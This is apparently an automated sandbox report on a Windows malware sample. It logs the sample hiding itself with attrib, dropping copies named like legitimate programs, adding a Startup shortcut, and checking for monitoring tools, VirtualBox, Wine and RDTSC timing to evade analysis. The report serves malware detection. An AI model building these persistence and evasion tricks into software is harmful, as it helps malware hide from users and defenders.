Source: msecache.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: msecache.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: reference assemblies.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: reference assemblies.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows defender.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows defender.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows mail.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows mail.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624
Source: windows media player.exe.0.dr	Static PE information: section name: entropy: 7.964759279856404
Source: windows media player.exe.0.dr	Static PE information: section name: fsrfimey entropy: 7.953315584919624

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\msecache.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows media player.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\jdownloader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\internet explorer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\common files.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\google.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows portable devices.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\mozilla maintenance service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\microsoft.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows mail.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\microsoft.net.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windowspowershell.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\microsoft office.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows photo viewer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\autoit3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows nt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows multimedia platform.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows sidebar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\reference assemblies.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\msbuild.exe	Jump to dropped file
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File created: C:\Users\user\OneDrive\windows defender.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Window searched: window name: Regmonclass	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DQmU06kq9I.lnk

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DQmU06kq9I.lnk

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32AD second address: 6E32B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32B1 second address: 6E32D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B30h 0x00000007 jmp 00007F7290766B2Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32D3 second address: 6E32F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CB5h 0x00000009 jc 00007F7290C62CA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E32F4 second address: 6E3315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7290766B2Bh 0x0000000d jmp 00007F7290766B2Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E3315 second address: 6E3321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7290C62CA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E3321 second address: 6E3325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E254A second address: 6E255B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7290C62CA6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E255B second address: 6E25B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B37h 0x00000007 jno 00007F7290766B2Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 js 00007F7290766B26h 0x0000001a jmp 00007F7290766B2Bh 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 jmp 00007F7290766B36h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E25B3 second address: 6E25D9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7290C62CC0h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E2714 second address: 6E275A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B36h 0x00000009 pop esi 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edi 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F7290766B36h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jp 00007F7290766B26h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 6E275A second address: 6E2762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
